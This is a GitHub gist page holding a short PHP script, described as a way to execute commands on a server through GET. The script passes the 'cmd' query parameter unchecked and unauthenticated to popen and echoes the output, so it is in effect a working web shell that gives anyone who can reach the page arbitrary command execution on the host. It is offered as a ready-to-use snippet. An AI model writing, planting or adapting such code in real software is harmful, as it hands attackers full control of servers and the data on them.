Skip to content

Instantly share code, notes, and snippets.

@Lerie82
Created June 19, 2018 20:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Lerie82/4b11304341613161ba8ac62f86ca201e to your computer and use it in GitHub Desktop.
Save Lerie82/4b11304341613161ba8ac62f86ca201e to your computer and use it in GitHub Desktop.
execute commands on a server through GET
<pre>
<?php
function doCmd($cmd)
{
while(@ob_end_flush());
$proc = popen($cmd." 2>&1 ; echo Exit status : $?", 'r');
$live_output = "";
$complete_output = "";
while(!feof($proc))
{
$output = fread($proc, 4096);
$full_output = $full_output.$output;
echo $output;
@flush();
}
pclose($proc);
preg_match('/[0-9]+$/', $full_output, $matches);
return array(
'exit_status' => intval($matches[0]),
'output' => str_replace("Exit status : ".$matches[0], '', $full_output)
);
}
$cmd = @$_GET['cmd'];
$result = doCmd($cmd);
if($result['exit_status'] === 0)
{
// do something if command execution succeeds
} else {
// do something on failure
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment